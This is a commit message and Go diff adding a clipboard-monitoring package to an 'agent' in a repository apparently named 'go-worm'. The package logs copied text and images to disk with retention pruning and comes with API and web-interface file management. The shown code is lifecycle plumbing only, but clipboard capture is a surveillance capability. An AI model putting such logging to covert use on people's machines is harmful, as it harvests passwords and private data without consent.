Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.

lib/clipmon/clipmon.go

@@ -0,0 +1,104 @@
+package clipmon
+
+import (
+	"sync"
+	"time"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+var (
+	mu       sync.Mutex
+	running  bool
+	writer   *Writer
+	events   chan Event
+	stopCh   chan struct{}
+	doneCh   chan struct{}
+	writerWG sync.WaitGroup
+)
+
+func Start() error {
+	if !config.ClipboardEnabled() {
+		return nil
+	}
+
+	mu.Lock()
+	defer mu.Unlock()
+	if running {
+		return nil
+	}
+	dir, err := config.ClipboardDir()
+	if err != nil {
+		return err
+	}
+	if err := PruneOld(dir, config.ClipboardRetentionDays()); err != nil {
+		return err
+	}
+	w, err := NewWriter(dir)
+	if err != nil {
+		return err
+	}
+	events = make(chan Event, 64)
+	stopCh = make(chan struct{})
+	doneCh = make(chan struct{})
+
+	writerWG.Add(1)
+	go func() {
+		defer writerWG.Done()
+		for {
+			select {
+			case event := <-events:
+				_ = w.Write(event)
+			case <-stopCh:
+				_ = w.Close()
+				return
+			}
+		}
+	}()
+
+	if err := startPlatform(w, events, stopCh, doneCh); err != nil {
+		close(stopCh)
+		writerWG.Wait()
+		events = nil
+		stopCh = nil
+		doneCh = nil
+		return err
+	}
+
+	writer = w
+	running = true
+	return nil
+}
+
+func Stop() {
+	mu.Lock()
+	if !running {
+		mu.Unlock()
+		return
+	}
+	stop := stopCh
+	done := doneCh
+	running = false
+	writer = nil
+	events = nil
+	stopCh = nil
+	doneCh = nil
+	mu.Unlock()
+
+	if stop != nil {
+		close(stop)
+	}
+	writerWG.Wait()
+	if done != nil {
+		<-done
+	}
+}
+
+func emit(event Event) {
+	event.Time = time.Now()
+	select {
+	case events <- event:
+	default:
+		// ponytail: drop when full
+	}
+}